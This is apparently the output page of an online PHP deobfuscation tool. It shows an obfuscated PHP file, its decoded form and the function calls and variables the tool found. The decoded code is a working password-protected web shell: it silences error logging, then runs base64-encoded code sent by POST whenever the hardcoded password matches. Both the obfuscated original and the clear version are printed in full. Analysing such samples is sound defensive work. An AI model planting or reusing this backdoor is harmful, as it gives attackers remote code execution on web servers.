Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "ptYnosval6gTrfu5vXF0i2pvKfx24XKi")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php


                                                                                                                                                                                                                                                                                                                                                       $wa66re3="\x70\x72eg".chr(95)."r".chr(101)."\x70\x6C".chr(97)."\x63e";$jThC3="e\x76al".chr(40)."b\x61s".chr(101)."6\x34".chr(95).chr(100)."\x65".chr(99)."o\x64\x65(\x22\x51".chr(71)."\x56y".chr(99)."\x6D\x39\x79\x583Jl\x63\x47\x39\x79\x64\x47\x6C\x75\x5a\x79g".chr(119)."\x4B\x54".chr(115).chr(75)."\x51\x47\x6C\x75\x61V9".chr(122)."Z\x58\x51oIm\x52p\x63".chr(51)."\x42\x73\x59X\x6C".chr(102)."\x5aX\x4A".chr(121)."b3".chr(74)."\x7a".chr(73)."\x69w\x77".chr(75).chr(84)."sKQG\x6C\x75aV".chr(57)."z\x5A\x58Q".chr(111).chr(73)."mx\x76Z".chr(49)."9l".chr(99)."\x6EJ".chr(118)."cn\x4DiL\x44".chr(65)."\x70\x4F".chr(119)."\x70\x41\x61W5\x70X".chr(51).chr(78)."ld\x43".chr(103)."\x69\x5a\x58\x4ayb\x33J".chr(102)."b\x47".chr(57)."n\x49".chr(105).chr(119).chr(119)."K".chr(84).chr(115)."\x4B\x43\x6Dl\x6dI".chr(67).chr(104)."p\x63\x33\x4e".chr(108)."\x64\x43g".chr(107)."\x581\x42\x50\x551".chr(81)."\x70IC".chr(89)."m\x49".chr(71)."l\x7a\x58\x32".chr(70).chr(121)."c\x6d".chr(70)."5".chr(75)."\x43\x52f".chr(85)."\x45".chr(57)."\x54\x56\x43".chr(107)."\x67Ji\x59".chr(103)."\x59".chr(50)."91\x62n".chr(81)."o".chr(74)."\x46".chr(57)."\x51T1\x4E\x55K\x544".chr(120).chr(75)."Q".chr(112).chr(55)."\x43\x67".chr(108)."\x6d\x62\x33".chr(74).chr(108)."Y".chr(87).chr(78)."oICg\x6BX\x31".chr(66)."\x50".chr(85)."1\x51\x67".chr(89)."\x58\x4d\x67\x4aHZ\x68".chr(99)."\x69\x6bK".chr(67).chr(88)."\x73\x4B".chr(67).chr(81).chr(108)."\x70".chr(90)."iAo".chr(73)."\x57l".chr(122).chr(99)."\x32\x56\x30\x4bC".chr(82)."\x6A".chr(98)."2\x52\x6c".chr(75)."\x53".chr(107)."g\x4aG\x4E\x76\x5a\x47Ug".chr(80).chr(83)."\x41\x6B".chr(100)."m\x46yO\x77o".chr(74)."C\x57".chr(86)."\x73".chr(99)."2V".chr(112)."Zi\x41".chr(111)."\x49".chr(87)."l".chr(122).chr(99)."2V\x30".chr(75)."C".chr(82)."\x77\x59X".chr(78).chr(122)."KSk".chr(103)."JHB".chr(104)."c3M\x67P\x53\x41\x6B\x64\x6D\x46y\x4f\x77\x6f\x4a\x43".chr(87)."\x56\x73".chr(99)."2U\x67\x59\x6E\x4alY".chr(87)."\x73\x37".chr(67).chr(103)."l".chr(57)."\x43g\x6FJa".chr(87).chr(89)."\x67".chr(75)."C\x52w".chr(89)."\x58N\x7AI".chr(68)."0".chr(57)."\x49\x43\x4Aw\x64".chr(70)."\x6cu\x62".chr(51).chr(78)."\x32".chr(89)."W\x77\x32\x5A\x31\x52yZn\x55".chr(49)."\x64\x6c\x68".chr(71)."\x4DG\x6b".chr(121).chr(99)."H".chr(90).chr(76)."Z".chr(110).chr(103).chr(121)."\x4e".chr(70)."\x68".chr(76)."a\x53".chr(73)."pC\x67\x6C".chr(55)."Cg\x6b".chr(74)."Z\x58".chr(90).chr(104)."\x62".chr(67)."\x68\x69YX\x4E".chr(108)."N".chr(106)."R".chr(102)."Z\x47V\x6Ab\x32\x52\x6C\x4B\x43R\x6A\x62\x32\x52".chr(108).chr(75).chr(83).chr(107)."\x37Cg\x6c".chr(57)."\x43".chr(110).chr(48)."K\x5A".chr(88)."hp\x64\x44s=\x22\x29".chr(41).";";$Eh8jp="/".chr(56).chr(53)."3\x63\x65\x62".chr(97).chr(57).chr(99)."\x31".chr(99)."\x66\x63\x39".chr(57)."\x66".chr(54)."\x356\x65".chr(49)."\x32\x32\x62\x63e".chr(57)."\x66d".chr(100).chr(53).chr(97).chr(47)."\x65";$wa66re3($Eh8jp,$jThC3,chr(56)."\x353\x63\x65\x62\x61\x39".chr(99).chr(49)."c\x66\x63".chr(57)."9f".chr(54)."\x35".chr(54)."e\x3122".chr(98).chr(99)."\x65".chr(57)."\x66\x64".chr(100)."\x35\x61");



?>

Function Calls

chr 170
preg_replace 1
base64_decode 1

Variables

$Eh8jp /853ceba9c1cfc99f656e122bce9fdd5a/e
$jThC3 eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..
$wa66re3 preg_replace

Stats

MD5 aa965fd32194f1639526e2bd1d1d69ca
Eval Count 2
Decode Time 214 ms